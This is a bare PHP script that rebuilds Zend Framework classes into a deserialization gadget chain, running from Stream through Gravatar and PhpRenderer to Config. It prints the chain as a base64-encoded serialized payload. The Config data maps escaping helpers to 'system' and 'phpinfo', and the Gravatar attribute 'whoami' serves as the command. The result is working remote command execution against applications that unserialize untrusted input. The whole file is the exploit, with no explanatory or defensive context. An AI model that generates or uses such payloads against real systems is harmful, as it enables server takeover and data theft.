<?php

namespace Zend\Http\Response {
	class Stream {
		protected $cleanup = true;
		protected $streamName;

		public function __construct($streamName) {
			$this->streamName = $streamName;
		}
	}
}

namespace Zend\View\Helper {
	class Gravatar {
		protected $view;
//        protected $attributes = ["whoami"=>'a'];
		protected $attributes = ['whoami' => 1];
		public function __construct($view) {
			$this->view = $view;
		}
	}
}

namespace Zend\View\Renderer {
	class PhpRenderer {
		private $__helpers;
		public function __construct($__helpers) {
			$this->__helpers = $__helpers;
		}
	}
}

namespace Zend\Config {
	class Config {
		protected $data = [
			"escapehtml" => 'system',
			"escapehtmlattr" => 'phpinfo',
		];
	}
}

namespace {
	$d = new Zend\Config\Config();
	$c = new Zend\View\Renderer\PhpRenderer($d);
	$b = new Zend\View\Helper\Gravatar($c);
	$a = new Zend\Http\Response\Stream($b);
	echo base64_encode(serialize($a));
}